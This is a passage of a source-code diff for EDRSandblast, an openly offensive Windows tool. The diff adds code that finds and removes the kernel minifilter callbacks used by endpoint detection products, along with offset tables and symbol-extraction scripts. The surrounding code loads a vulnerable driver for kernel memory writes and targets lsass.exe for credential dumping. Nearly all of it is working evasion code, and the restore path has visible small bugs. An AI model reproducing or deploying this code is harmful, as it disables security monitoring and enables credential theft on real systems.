AddFoundKernelCallback(FoundObjectCallbacks, &cb); found |= TRUE; } else { @@ -287,7 +285,7 @@ void EnableDisableEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS _putts_or_not(TEXT("Object callback offsets not loaded ! Aborting...")); return; } - for (DWORD64 i = 0; i < FoundObjectCallbacks->index; i++) { + for (DWORD64 i = 0; i < FoundObjectCallbacks->size; i++) { struct KRNL_CALLBACK* cb = &FoundObjectCallbacks->EDR_CALLBACKS[i]; if (cb->type == OBJECT_CALLBACK && cb->removed == enable) { _tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t%s %s callback...\n"), enable ? TEXT("Enabling") : TEXT("Disabling"), cb->driver_name); diff --git a/EDRSandblast/Utils/FltmgrOffsets.c b/EDRSandblast/Utils/FltmgrOffsets.c new file mode 100644 index 0000000..66571f4 --- /dev/null +++ b/EDRSandblast/Utils/FltmgrOffsets.c @@ -0,0 +1,157 @@ +#include +#include +#include +#include + +#include "FileUtils.h" +#include "FileVersion.h" +#include "PrintFunctions.h" +#include "PdbSymbols.h" + +#include "FltmgrOffsets.h" + +union FltmgrOffsets g_fltmgrOffsets = { 0 }; + + +BOOL FltmgrOffsetsAreLoaded() { + return g_fltmgrOffsets.ar[0] != 0; +} + + +BOOL LoadFltmgrOffsets(_In_opt_ TCHAR* fltmgrOffsetFilename, BOOL canUseInternet) { + if (FltmgrOffsetsAreLoaded()) { + //offsets already loaded + return TRUE; + } + + // load via CSV first + if (fltmgrOffsetFilename && FileExists(fltmgrOffsetFilename)) { + if (LoadFltmgrOffsetsFromFile(fltmgrOffsetFilename)) { + return TRUE; + } + _putts_or_not(TEXT("[!] Offsets are missing from the CSV for the version of fltmgr.sys in use.")); + } + + // load via internet then + if (canUseInternet) { + _putts_or_not(TEXT("[+] Downloading fltmgr.sys related offsets from the MS Symbol Server (will drop a .pdb file in current directory)")); +#if _DEBUG + if (LoadFltmgrOffsetsFromInternet(FALSE)) { +#else + if (LoadFltmgrOffsetsFromInternet(TRUE)) { +#endif + _putts_or_not(TEXT("[+] Downloading offsets succeeded !")); + if (fltmgrOffsetFilename && FileExists(fltmgrOffsetFilename)) { + _putts_or_not(TEXT("[+] Saving them to the CSV file...")); + SaveFltmgrOffsetsToFile(fltmgrOffsetFilename); + } + return TRUE; + } + _putts_or_not(TEXT("[-] Downloading offsets from the internet failed !")); + } + + return FALSE; +} + +BOOL LoadFltmgrOffsetsFromFile(TCHAR * fltmgrOffsetFilename) { + LPTSTR fltmgrVersion = GetFltmgrVersion(); + _tprintf_or_not(TEXT("[*] System's fltmgr.sys file version is: %s\n"), fltmgrVersion); + + FILE* offsetFileStream = NULL; + _tfopen_s(&offsetFileStream, fltmgrOffsetFilename, TEXT("r")); + + if (offsetFileStream == NULL) { + _putts_or_not(TEXT("[!] Offset CSV file not found / invalid. A valid offset file must be specifed!")); + return FALSE; + } + + TCHAR lineFltmgrVersion[256]; + TCHAR line[2048]; + while (_fgetts(line, _countof(line), offsetFileStream)) { + TCHAR* dupline = _tcsdup(line); + TCHAR* tmpBuffer = NULL; + _tcscpy_s(lineFltmgrVersion, _countof(lineFltmgrVersion), _tcstok_s(dupline, TEXT(","), &tmpBuffer)); + if (_tcscmp(fltmgrVersion, lineFltmgrVersion) == 0) { + TCHAR* endptr; + _tprintf_or_not(TEXT("[+] Offsets are available for this version of fltmgr.sys (%s)!\n"), fltmgrVersion); + for (int i = 0; i < _SUPPORTED_FLTMGR_OFFSETS_END; i++) { + g_fltmgrOffsets.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16); + } + break; + } + } + fclose(offsetFileStream); + + return FltmgrOffsetsAreLoaded(); +} + +void SaveFltmgrOffsetsToFile(TCHAR * fltmgrOffsetFilename) { + LPTSTR fltmgrVersion = GetFltmgrVersion(); + + FILE* offsetFileStream = NULL; + _tfopen_s(&offsetFileStream, fltmgrOffsetFilename, TEXT("a")); + + if (offsetFileStream == NULL) { + _putts_or_not(TEXT("[!] Offset CSV file connot be opened")); + return; + } + + _ftprintf(offsetFileStream, TEXT("%s"), fltmgrVersion); + for (int i = 0; i < _SUPPORTED_FLTMGR_OFFSETS_END; i++) { + _ftprintf(offsetFileStream, TEXT(",%llx"), g_fltmgrOffsets.ar[i]); + } + _fputts(TEXT("\n"), offsetFileStream); + + fclose(offsetFileStream); +} + + +BOOL LoadFltmgrOffsetsFromInternet(BOOL delete_pdb) { + LPTSTR fltmgrPath = GetFltmgrPath(); + symbol_ctx* sym_ctx = LoadSymbolsFromImageFile(fltmgrPath); + if (sym_ctx == NULL) { + return FALSE; + } + g_fltmgrOffsets.st.FltGlobals = GetSymbolOffset(sym_ctx, "FltGlobals"); + g_fltmgrOffsets.st._DRIVER_OBJECT_DriverInit = GetFieldOffset(sym_ctx, "_DRIVER_OBJECT", L"DriverInit"); + g_fltmgrOffsets.st._FLTP_FRAME_Links = GetFieldOffset(sym_ctx, "_FLTP_FRAME", L"Links"); + g_fltmgrOffsets.st._FLTP_FRAME_RegisteredFilters = GetFieldOffset(sym_ctx, "_FLTP_FRAME", L"RegisteredFilters"); + g_fltmgrOffsets.st._FLT_FILTER_DriverObject = GetFieldOffset(sym_ctx, "_FLT_FILTER", L"DriverObject"); + g_fltmgrOffsets.st._FLT_FILTER_InstanceList = GetFieldOffset(sym_ctx, "_FLT_FILTER", L"InstanceList"); + g_fltmgrOffsets.st._FLT_INSTANCE_CallbackNodes = GetFieldOffset(sym_ctx, "_FLT_INSTANCE", L"CallbackNodes"); + g_fltmgrOffsets.st._FLT_INSTANCE_FilterLink = GetFieldOffset(sym_ctx, "_FLT_INSTANCE", L"FilterLink"); + g_fltmgrOffsets.st._FLT_OBJECT_PrimaryLink = GetFieldOffset(sym_ctx, "_FLT_OBJECT", L"PrimaryLink"); + g_fltmgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList = GetFieldOffset(sym_ctx, "_FLT_RESOURCE_LIST_HEAD", L"rList"); + g_fltmgrOffsets.st._GLOBALS_FrameList = GetFieldOffset(sym_ctx, "_GLOBALS", L"FrameList"); + UnloadSymbols(sym_ctx, delete_pdb); + + return FltmgrOffsetsAreLoaded(); +} + +TCHAR g_fltmgrPath[MAX_PATH] = { 0 }; +LPTSTR GetFltmgrPath() { + if (_tcslen(g_fltmgrPath) == 0) { + // Retrieves the system folder (eg C:\Windows\System32). + TCHAR systemDirectory[MAX_PATH] = { 0 }; + GetSystemDirectory(systemDirectory, _countof(systemDirectory)); + + // Compute fltmgr.sys path. + PathAppend(g_fltmgrPath, systemDirectory); + PathAppend(g_fltmgrPath, TEXT("drivers")); + PathAppend(g_fltmgrPath, TEXT("fltMgr.sys")); + } + return g_fltmgrPath; +} + +TCHAR g_fltmgrVersion[256] = { 0 }; +LPTSTR GetFltmgrVersion() { + if (_tcslen(g_fltmgrVersion) == 0) { + LPTSTR fltmgrPath = GetFltmgrPath(); + + TCHAR versionBuffer[256] = { 0 }; + GetFileVersion(versionBuffer, _countof(versionBuffer), fltmgrPath); + + _stprintf_s(g_fltmgrVersion, 256, TEXT("fltmgr_%s.sys"), versionBuffer); + } + return g_fltmgrVersion; +} \ No newline at end of file diff --git a/EDRSandblast/Utils/WdigestOffsets.c b/EDRSandblast/Utils/WdigestOffsets.c index d6b22d1..a0d5086 100644 --- a/EDRSandblast/Utils/WdigestOffsets.c +++ b/EDRSandblast/Utils/WdigestOffsets.c @@ -17,7 +17,6 @@ union WdigestOffsets g_wdigestOffsets = { 0 }; -// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use. void LoadWdigestOffsetsFromFile(TCHAR* wdigestOffsetFilename) { LPTSTR wdigestVersion = GetWdigestVersion(); _tprintf_or_not(TEXT("[*] System's wdigest.dll file version is: %s\n"), wdigestVersion); diff --git a/EDRSandblast_CLI/EDRSandblast.c b/EDRSandblast_CLI/EDRSandblast.c index 90d67ef..909e430 100644 --- a/EDRSandblast_CLI/EDRSandblast.c +++ b/EDRSandblast_CLI/EDRSandblast.c @@ -10,17 +10,21 @@ #include #endif +#include "CiOffsets.h" #include "CredGuard.h" #include "DriverOps.h" #include "FileUtils.h" +#include "FltmgrOffsets.h" #include "Firewalling.h" #include "ETWThreatIntel.h" #include "KernelCallbacks.h" +#include "KernelDSE.h" #include "KernelMemoryPrimitives.h" -#include "ProcessDump.h" -#include "ProcessDumpDirectSyscalls.h" +#include "MinifilterCallbacks.h" #include "NtoskrnlOffsets.h" #include "ObjectCallbacks.h" +#include "ProcessDump.h" +#include "ProcessDumpDirectSyscalls.h" #include "PEBBrowse.h" #include "PrintFunctions.h" #include "RunAsPPL.h" @@ -28,8 +32,6 @@ #include "Undoc.h" #include "UserlandHooks.h" #include "WdigestOffsets.h" -#include "CiOffsets.h" -#include "KernelDSE.h" //TODO P1 : implement a "clean" mode that only removes the driver if installed //TODO P2 : replace all instances of exit(1) by a clean_exit() function that uninstalls the driver before exiting @@ -91,7 +93,7 @@ int _tmain(int argc, TCHAR** argv) { const TCHAR usage[] = TEXT("Usage: EDRSandblast.exe [-h | --help] [-v | --verbose] \n\ [--usermode] [--unhook-method ] [--direct-syscalls] [--add-dll ]* \n\ [--kernelmode] [--dont-unload-driver] [--no-restore] \n\ - [--nt-offsets ] [--wdigest-offsets ] [--ci-offsets ] [--internet]\n\ + [--nt-offsets ] [--fltmgr-offsets ] [--wdigest-offsets ] [--ci-offsets ] [--internet]\n\ [--vuln-driver ] [--vuln-service ] \n\ [--unsigned-driver ] [--unsigned-service ] \n\ [--no-kdp]\n\ @@ -168,6 +170,8 @@ Offset-related options:\n\ \n\ --nt-offsets Path to the CSV file containing the required ntoskrnl.exe's offsets.\n\ Default to 'NtoskrnlOffsets.csv' in the current directory.\n\ +--fltmgr-offsets Path to the CSV file containing the required fltmgr.sys's offsets\n\ + Default to 'FltmgrOffsets.csv' in the current directory.\n\ --wdigest-offsets Path to the CSV file containing the required wdigest.dll's offsets\n\ (only for the 'credguard' mode).\n\ Default to 'WdigestOffsets.csv' in the current directory.\n\ @@ -204,6 +208,7 @@ Dump options:\n\ TCHAR ntoskrnlOffsetCSVPath[MAX_PATH] = { 0 }; TCHAR wdigestOffsetCSVPath[MAX_PATH] = { 0 }; TCHAR ciOffsetCSVPath[MAX_PATH] = { 0 }; + TCHAR fltmgrOffsetCSVPath[MAX_PATH] = { 0 }; TCHAR processName[] = TEXT("lsass.exe"); TCHAR outputPath[MAX_PATH] = { 0 }; BOOL verbose = FALSE; @@ -219,6 +224,7 @@ Dump options:\n\ BOOL ETWTIState = FALSE; BOOL foundNotifyRoutineCallbacks = FALSE; BOOL foundObjectCallbacks = FALSE; + BOOL foundMinifilterCallbacks = FALSE; HOOK* hooks = NULL; //TODO implement a "force" mode : remove notify routines & object callbacks without checking if it belongs to an EDR (useful as a last resort if a driver is not recognized) @@ -305,6 +311,14 @@ Dump options:\n\ } _tcsncpy_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), argv[i], _tcslen(argv[i])); } + else if (_tcsicmp(argv[i], TEXT("--fltmgr-offsets")) == 0) { + i++; + if (i > argc) { + _tprintf_or_not(TEXT("%s"), usage); + return EXIT_FAILURE; + } + _tcsncpy_s(fltmgrOffsetCSVPath, _countof(fltmgrOffsetCSVPath), argv[i], _tcslen(argv[i])); + } else if (_tcsicmp(argv[i], TEXT("--wdigest-offsets")) == 0) { i++; if (i > argc) { @@ -446,8 +460,8 @@ Dump options:\n\ PathAppend(ntoskrnlOffsetCSVPath, offsetCSVName); } - _putts_or_not(TEXT("[+] Setting up prerequisites for the kernel read/write primitives...")); - // Initialize the global variable containing ntoskrnl.exe Notify Routines', _PS_PROTECTION and ETW TI functions offsets. + _putts_or_not(TEXT("[+] Loading required offsets for ntoskrnl.exe...")); + if (FileExists(ntoskrnlOffsetCSVPath)) { _putts_or_not(TEXT("[+] Loading kernel related offsets from the CSV file")); LoadNtoskrnlOffsetsFromFile(ntoskrnlOffsetCSVPath); @@ -483,6 +497,14 @@ Dump options:\n\ PrintNtoskrnlOffsets(); } + if (_tcslen(fltmgrOffsetCSVPath) == 0) { + PathAppend(fltmgrOffsetCSVPath, currentFolderPath); + PathAppend(fltmgrOffsetCSVPath, TEXT("FltmgrOffsets.csv")); + } + if (!LoadFltmgrOffsets(fltmgrOffsetCSVPath, internet)) { + return EXIT_FAILURE; + } + // Install the vulnerable driver to have read / write in Kernel memory. LPTSTR serviceNameIfAny = NULL; BOOL isDriverAlreadyRunning = IsDriverServiceRunning(driverPath, &serviceNameIfAny); @@ -518,6 +540,7 @@ Dump options:\n\ _putts_or_not(TEXT("[!] Couldn't allocate memory to enumerate the drivers in Kernel callbacks")); return EXIT_FAILURE; } + foundNotifyRoutineCallbacks = EnumEDRNotifyRoutineCallbacks(foundEDRDrivers, verbose); if (foundNotifyRoutineCallbacks) { isSafeToExecutePayloadKernelland = FALSE; @@ -532,6 +555,19 @@ Dump options:\n\ } _putts_or_not(TEXT("")); + _putts_or_not(TEXT("[+] Checking if EDR callbacks are registered on I/O events (minifilters)...")); + foundMinifilterCallbacks = EnumEDRMinifilterCallbacks(foundEDRDrivers, verbose); + _tprintf_or_not(TEXT("[+] [MinifilterCallbacks]\tMinifilter callbacks are %s !\n"), foundMinifilterCallbacks ? TEXT("present") : TEXT("not found")); + + if (foundMinifilterCallbacks) { +#if WriteMemoryPrimitiveIsAtomic + isSafeToExecutePayloadKernelland = FALSE; +#else + _putts_or_not(TEXT("WARNING: with the current driver (") DEFAULT_DRIVER_FILE TEXT("), EDRSandblast will not be able to remove these callbacks")); +#endif + } + _putts_or_not(TEXT("")); + _putts_or_not(TEXT("[+] [ETWTI]\tChecking the ETW Threat Intelligence Provider state...")); ETWTIState = isETWThreatIntelProviderEnabled(verbose); _tprintf_or_not(TEXT("[+] [ETWTI]\tETW Threat Intelligence Provider is %s!\n"), ETWTIState ? TEXT("ENABLED") : TEXT("DISABLED")); @@ -826,7 +862,13 @@ Dump options:\n\ DisableEDRProcessAndThreadObjectsCallbacks(foundEDRDrivers); _putts_or_not(TEXT("")); } - +#if WriteMemoryPrimitiveIsAtomic + if (foundMinifilterCallbacks) { + _putts_or_not(TEXT("[+] Removing minifilter callbacks registered by EDR for monitoring I/O operations...")); + RemoveEDRMinifilterCallbacks(foundEDRDrivers); + _putts_or_not(TEXT("")); + } +#endif /* * 2/3 : Starting "resursively" our process. */ @@ -865,7 +907,13 @@ Dump options:\n\ EnableEDRProcessAndThreadObjectsCallbacks(foundEDRDrivers); _putts_or_not(TEXT("")); } - +#if WriteMemoryPrimitiveIsAtomic + if (restoreCallbacks == TRUE && foundMinifilterCallbacks) { + _putts_or_not(TEXT("[+] Restoring EDR's minifilter callbacks...")); + RestoreEDRMinifilterCallbacks(foundEDRDrivers); + _putts_or_not(TEXT("")); + } +#endif // Renable the ETW Threat Intel provider. // TODO : make this conditionnal, just as kernel callbacks restoring ? if (ETWTIState) { diff --git a/EDRSandblast_StaticLibrary/EDRSandblast_API.c b/EDRSandblast_StaticLibrary/EDRSandblast_API.c index dd0c86b..34990a7 100644 --- a/EDRSandblast_StaticLibrary/EDRSandblast_API.c +++ b/EDRSandblast_StaticLibrary/EDRSandblast_API.c @@ -6,8 +6,10 @@ #include "ETWThreatIntel.h" #include "FileUtils.h" #include "Firewalling.h" +#include "FltmgrOffsets.h" #include "KernelCallbacks.h" #include "KernelMemoryPrimitives.h" +#include "MinifilterCallbacks.h" #include "PrintFunctions.h" #include "ProcessDump.h" #include "ProcessDumpDirectSyscalls.h" @@ -221,7 +223,6 @@ EDRSB_STATUS _LoadWdigestOffsets(EDRSB_CONTEXT* ctx) { EDRSB_STATUS EDRSB_Init(_Out_ EDRSB_CONTEXT* ctx, _In_ EDRSB_CONFIG* config) { EDRSB_STATUS status; BOOL driverInstallRequired = FALSE; - BOOL kernelOffsetsLoaded = FALSE; ctx->config = config; if (config->actions.ProtectProcess) { @@ -232,11 +233,13 @@ EDRSB_STATUS EDRSB_Init(_Out_ EDRSB_CONTEXT* ctx, _In_ EDRSB_CONFIG* config) { if (config->bypassMode.Krnlmode) { status = _LoadNtosKrnlOffsets(ctx); if (status != EDRSB_SUCCESS) { - _tprintf_or_not(TEXT("[-] Init failed: required offsets for kernel operations couldn't be loaded (error 0x%lx)!\n"), status); + _tprintf_or_not(TEXT("[-] Init failed: required ntoskrnl.exe offsets for kernel operations couldn't be loaded (error 0x%lx)!\n"), status); return status; } - else { - kernelOffsetsLoaded = TRUE; + BOOL success = LoadFltmgrOffsets(ctx->config->fltmgrOffsetFilePath, ctx->config->offsetRetrievalMethod.Internet); + if (!success) { + _tprintf_or_not(TEXT("[-] Init failed: required fltmgr.sys offsets for kernel operations couldn't be loaded (error 0x%lx)!\n"), status); + return status; } driverInstallRequired = TRUE; @@ -289,6 +292,7 @@ EDRSB_STATUS Krnlmode_EnumAllMonitoring(_In_opt_ EDRSB_CONTEXT* ctx) { BOOL isSafeToExecutePayload = TRUE; BOOL foundNotifyRoutineCallbacks; BOOL foundObjectsCallbacks; + BOOL foundMinifilterCallbacks; BOOL isETWTICurrentlyEnabled; BOOL verbose = ctx ? ctx->config->verbose : FALSE; @@ -311,7 +315,7 @@ EDRSB_STATUS Krnlmode_EnumAllMonitoring(_In_opt_ EDRSB_CONTEXT* ctx) { ctx->foundNotifyRoutineCallbacks = TRUE; } if (ctx) { - _tprintf_or_not(TEXT("[+] Object callbacks have %sbeen found"), ctx->foundNotifyRoutineCallbacks ? TEXT("") : TEXT("NOT")); + _tprintf_or_not(TEXT("[+] Kernel notify routines have %sbeen found"), ctx->foundNotifyRoutineCallbacks ? TEXT("") : TEXT("not ")); _putts_or_not(TEXT("[+] Check if EDR callbacks are registered on processes and threads handle creation/duplication")); } @@ -321,6 +325,15 @@ EDRSB_STATUS Krnlmode_EnumAllMonitoring(_In_opt_ EDRSB_CONTEXT* ctx) { } if (ctx) { _tprintf_or_not(TEXT("[+] Enabled EDR object callbacks are %s !\n"), ctx->foundObjectCallbacks ? TEXT("present") : TEXT("not found")); + _putts_or_not(TEXT("[+] Check if EDR minifilter callbacks are registered for monitoring disk operations")); + } + + foundMinifilterCallbacks = EnumEDRMinifilterCallbacks(foundEDRDrivers, verbose); + if (ctx && foundMinifilterCallbacks) { + ctx->foundMinifilterCallbacks = TRUE; + } + if (ctx) { + _tprintf_or_not(TEXT("[+] EDR minifilter callbacks are %s !\n"), ctx->foundObjectCallbacks ? TEXT("present") : TEXT("not found")); } if (ctx) { @@ -343,7 +356,7 @@ EDRSB_STATUS Krnlmode_EnumAllMonitoring(_In_opt_ EDRSB_CONTEXT* ctx) { ctx->krnlmodeMonitoringEnumDone = TRUE; } - if (foundNotifyRoutineCallbacks || foundObjectsCallbacks || isETWTICurrentlyEnabled) { + if (foundNotifyRoutineCallbacks || foundObjectsCallbacks || foundMinifilterCallbacks || isETWTICurrentlyEnabled) { status = EDRSB_KNRL_MONITORING; } else { @@ -380,6 +393,11 @@ EDRSB_STATUS Krnlmode_RemoveAllMonitoring(_In_ EDRSB_CONTEXT* ctx) { DisableEDRProcessAndThreadObjectsCallbacks(ctx->foundEDRDrivers); } + if (ctx->foundMinifilterCallbacks) { + _putts_or_not(TEXT("[+] Disabling minifilter callbacks registered by EDR to monitor I/O operations...")); + RemoveEDRMinifilterCallbacks(ctx->foundEDRDrivers); + } + if (ctx->isETWTICurrentlyEnabled) { DisableETWThreatIntelProvider(ctx->config->verbose); ctx->isETWTICurrentlyEnabled = FALSE; @@ -405,6 +423,11 @@ EDRSB_STATUS Krnlmode_RestoreAllMonitoring(_In_ EDRSB_CONTEXT* ctx) { EnableEDRProcessAndThreadObjectsCallbacks(ctx->foundEDRDrivers); } + if (!ctx->config->actions.DontRestoreCallBacks && ctx->foundMinifilterCallbacks) { + _putts_or_not(TEXT("[+] Restoring EDR's minifilter callbacks...")); + EnableEDRProcessAndThreadObjectsCallbacks(ctx->foundEDRDrivers); + } + // Renable the ETW Threat Intel provider. if (!ctx->config->actions.DontRestoreETWTI && ctx->isETWTISystemEnabled) { EnableETWThreatIntelProvider(ctx->config->verbose); diff --git a/EDRSandblast_StaticLibrary/EDRSandblast_API.h b/EDRSandblast_StaticLibrary/EDRSandblast_API.h index 7960347..a626f80 100644 --- a/EDRSandblast_StaticLibrary/EDRSandblast_API.h +++ b/EDRSandblast_StaticLibrary/EDRSandblast_API.h @@ -17,6 +17,7 @@ typedef struct EDRSB_CONTEXT_t { BOOL krnlmodeMonitoringEnumDone; BOOL foundNotifyRoutineCallbacks; BOOL foundObjectCallbacks; + BOOL foundMinifilterCallbacks; struct FOUND_EDR_CALLBACKS* foundEDRDrivers; BOOL isETWTISystemEnabled; BOOL isETWTICurrentlyEnabled; @@ -112,6 +113,12 @@ typedef struct EDRSB_CONFIG_t { */ LPWSTR kernelOffsetFilePath; //TODO : unifier les offsets dans un seul fichier (un json ?) pour �viter de demander � l'utilisateur de passer plusieurs fichiers + /* + * Path of the CSV file that contains the needed offsets for minifilter enum and bypass + * If NULL, tries to load FltmgrOffsets.csv + * If empty string, disable FltmgrOffsets.csv loading (relies on symbol download every time) + */ + LPWSTR fltmgrOffsetFilePath; /* * Path of the CSV file that contains the needed offsets for credential guard related operations * If NULL, tries to load WdigestOffsets.csv diff --git a/Offsets/CiOffsets.csv b/Offsets/CiOffsets.csv index 33fc80d..92d9bb6 100644 --- a/Offsets/CiOffsets.csv +++ b/Offsets/CiOffsets.csv @@ -177,6 +177,7 @@ ci_17763-4644.dll,36d58,4bb30 ci_17763-4737.dll,36d58,4bb30 ci_17763-4840.dll,36d58,4bb30 ci_17763-4974.dll,36d58,4bb30 +ci_17763-5122.dll,36d58,4bb30 ci_17763-10458.dll,36d18,4ba70 ci_17763-10877.dll,36d18,4bae0 ci_18362-1.dll,37278,4c600 diff --git a/Offsets/ExtractOffsets.py b/Offsets/ExtractOffsets.py index c921808..c0f535a 100644 --- a/Offsets/ExtractOffsets.py +++ b/Offsets/ExtractOffsets.py @@ -17,8 +17,12 @@ THREADS_LIMIT = None CSVLock = threading.Lock() machineType = dict(x86=332, x64=34404) -knownImageVersions = dict(ntoskrnl=list(), wdigest=list(), ci=list()) -extensions_by_mode = dict(ntoskrnl="exe", wdigest="dll", ci="dll") +supported_images = ["ntoskrnl.exe", "wdigest.dll", "ci.dll", "fltmgr.sys"] +modes = [image_name.split(".")[0] for image_name in supported_images] +extensions_by_mode = dict(image_name.split(".") for image_name in supported_images) +known_image_versions = {mode: list() for mode in modes} +modes_by_imagename = dict(zip(supported_images, modes)) +csvFilenameByMode = {mode: mode.capitalize() + "Offsets.csv" for mode in modes} symbols = dict( ntoskrnl=[ @@ -42,8 +46,23 @@ symbols = dict( ("g_CiOptions", "symbol"), ("CiValidateImageHeader", "symbol"), ], + fltmgr=[ + ("FltGlobals", "symbol"), + ("_GLOBALS", "FrameList", "field"), + ("_FLT_RESOURCE_LIST_HEAD", "rList", "field"), + ("_FLTP_FRAME", "Links", "field"), + ("_FLTP_FRAME", "RegisteredFilters", "field"), + ("_FLT_OBJECT", "PrimaryLink", "field"), + ("_FLT_FILTER", "DriverObject", "field"), + ("_FLT_FILTER", "InstanceList", "field"), + ("_DRIVER_OBJECT", "DriverInit", "field"), + ("_FLT_INSTANCE", "CallbackNodes", "field"), + ("_FLT_INSTANCE", "FilterLink", "field"), + ], ) +symbols_names = {mode: [t[0] if t[-1] == "symbol" else f"{t[0]}_{t[1]}" for t in symbols[mode]] for mode in modes} + def find(key: str, d: dict): for k, v in d.items(): @@ -252,12 +271,10 @@ def extractOffsets(input_file, output_file, mode): export_directory_rva = export_directory_entry.VirtualAddress image_name_rva = pe.get_dword_at_rva(export_directory_rva + 3 * 4) name = pe.get_string_at_rva(image_name_rva).decode().lower() - if "ntoskrnl.exe" in name: - imageType = "ntoskrnl" - elif "wdigest.dll" in name: - imageType = "wdigest" - elif "ci.dll" in name: - imageType = "ci" + for image_name in supported_images: + if image_name in name: + imageType = modes_by_imagename[image_name] + break else: print(f"[*] File {input_file} unrecognized") return @@ -274,7 +291,7 @@ def extractOffsets(input_file, output_file, mode): extension = extensions_by_mode[imageType] imageVersion = f"{imageType}_{full_version[2]}-{full_version[3]}.{extension}" - if imageVersion in knownImageVersions[imageType]: + if imageVersion in known_image_versions[imageType]: print(f"[*] Skipping known {imageType} version {imageVersion} (file: {input_file})") try: """ @@ -296,7 +313,7 @@ def extractOffsets(input_file, output_file, mode): for part in input_file_basename[len(f"{imageType}_") : -len(f".{extension}")].split("-") ) imageVersion = input_file_basename - if imageVersion in knownImageVersions[imageType]: + if imageVersion in known_image_versions[imageType]: return print("\r", end="") # Not skipping after all except ValueError: @@ -330,7 +347,7 @@ def extractOffsets(input_file, output_file, mode): # print("wrote into CSV !") del pdb - knownImageVersions[imageType].append(imageVersion) + known_image_versions[imageType].append(imageVersion) print(f"[+] Finished processing of {imageType} {input_file}!") except PEFormatError as e: @@ -381,22 +398,25 @@ def sortOutputFile(csvFile): if __name__ == "__main__": parser = argparse.ArgumentParser() + modes_str = "/".join(known_image_versions) + files = " / ".join(modes_by_imagename) + csvfiles = " / ".join(csvFilenameByMode.values()) parser.add_argument( "mode", - help='"ntoskrnl", "wdigest" or "ci". Mode to download and extract offsets from either ntoskrnl.exe, wdigest.dll or ci.dll', + help=f"{modes_str}. Mode to download and extract offsets from either {files}", ) parser.add_argument( "-i", "--input", dest="input", required=True, - help="Single file or directory containing ntoskrnl.exe / wdigest.dll / ci.dll to extract offsets from. If in download mode, the PE downloaded from MS symbols servers will be placed in this folder.", + help=f"Single file or directory containing {files} to extract offsets from. If in download mode, the PE downloaded from MS symbols servers will be placed in this folder.", ) parser.add_argument( "-o", "--output", dest="output", - help="CSV file to write offsets to. If the specified file already exists, only new ntoskrnl versions will be downloaded / analyzed. Defaults to NtoskrnlOffsets.csv / WdigestOffsets.csv / CiOffsets.csv in the current folder.", + help=f"CSV file to write offsets to. If the specified file already exists, only new ntoskrnl versions will be downloaded / analyzed. Defaults to {csvfiles} in the current folder.", ) parser.add_argument( "-d", @@ -408,20 +428,20 @@ if __name__ == "__main__": args = parser.parse_args() mode = args.mode.lower() - if mode not in knownImageVersions: - print(f'[!] ERROR : unsupported mode "{args.mode}", supported mode are: "ntoskrnl", "wdigest" and "ci"') + if mode not in known_image_versions: + print(f'[!] ERROR : unsupported mode "{args.mode}", supported mode are: {modes}') exit(1) # If the output file exists, load the already analyzed image versions. # Otherwise, write CSV headers to the new file. if not args.output: - args.output = mode.capitalize() + "Offsets.csv" + args.output = csvFilenameByMode[mode] if os.path.isfile(args.output): - loadOffsetsFromCSV(knownImageVersions[mode], args.output) - print(f'[+] Loaded {len(knownImageVersions[mode])} known {mode} versions from "{args.output}"') + loadOffsetsFromCSV(known_image_versions[mode], args.output) + print(f'[+] Loaded {len(known_image_versions[mode])} known {mode} versions from "{args.output}"') else: with open(args.output, "w") as output: - output.write(mode + "Version," + ",".join(elem[0] for elem in symbols[mode]) + "\n") + output.write(mode + "Version," + ",".join(elem for elem in symbols_names[mode]) + "\n") # In download mode, an updated list of image versions published will be retrieved from https://winbindex.m417z.com. # The symbols for each version will be downloaded from the Microsoft symbols servers. @@ -431,7 +451,7 @@ if __name__ == "__main__": print("[!] ERROR : in download mode, -i / --input option must specify a folder") exit(1) extension = extensions_by_mode[mode] - downloadPEFileFromMS(mode, extension, knownImageVersions[mode], args.input) + downloadPEFileFromMS(mode, extension, known_image_versions[mode], args.input) # Extract the offsets from the specified file or the folders containing image files. extractOffsets(args.input, args.output, mode) diff --git a/Offsets/FltmgrOffsets.csv b/Offsets/FltmgrOffsets.csv new file mode 100644 index 0000000..fd3842c --- /dev/null +++ b/Offsets/FltmgrOffsets.csv @@ -0,0 +1,90 @@ +fltmgrVersion,FltGlobals,_GLOBALS_FrameList,_FLT_RESOURCE_LIST_HEAD_rList,_FLTP_FRAME_Links,_FLTP_FRAME_RegisteredFilters,_FLT_OBJECT_PrimaryLink,_FLT_FILTER_DriverObject,_FLT_FILTER_InstanceList,_DRIVER_OBJECT_DriverInit,_FLT_INSTANCE_CallbackNodes,_FLT_INSTANCE_FilterLink +fltmgr_10240-16384.sys,254c0,58,68,8,48,10,60,68,58,a0,70 +fltmgr_10240-18967.sys,254c0,58,68,8,48,10,60,68,58,a0,70 +fltmgr_10240-19983.sys,254c0,58,68,8,48,10,60,68,58,a0,70 +fltmgr_10586-0.sys,25500,58,68,8,48,10,60,68,58,a0,70 +fltmgr_14393-0.sys,25500,58,68,8,48,10,60,68,58,a0,70 +fltmgr_14393-2879.sys,25500,58,68,8,48,10,60,68,58,a0,70 +fltmgr_14393-3297.sys,25500,58,68,8,48,10,60,68,58,a0,70 +fltmgr_14393-3659.sys,25500,58,68,8,48,10,60,68,58,a0,70 +fltmgr_14393-4467.sys,25500,58,68,8,48,10,60,68,58,a0,70 +fltmgr_14393-4583.sys,25500,58,68,8,48,10,60,68,58,a0,70 +fltmgr_14393-4946.sys,25500,58,68,8,48,10,60,68,58,a0,70 +fltmgr_14393-5127.sys,25500,58,68,8,48,10,60,68,58,a0,70 +fltmgr_14393-5192.sys,25500,58,68,8,48,10,60,68,58,a0,70 +fltmgr_15063-0.sys,27500,58,68,8,48,10,60,68,58,a0,70 +fltmgr_15063-413.sys,27500,58,68,8,48,10,60,68,58,a0,70 +fltmgr_15063-850.sys,27500,58,68,8,48,10,60,68,58,a0,70 +fltmgr_15063-2161.sys,27500,58,68,8,48,10,60,68,58,a0,70 +fltmgr_16299-15.sys,28540,58,68,8,48,10,60,68,58,a0,70 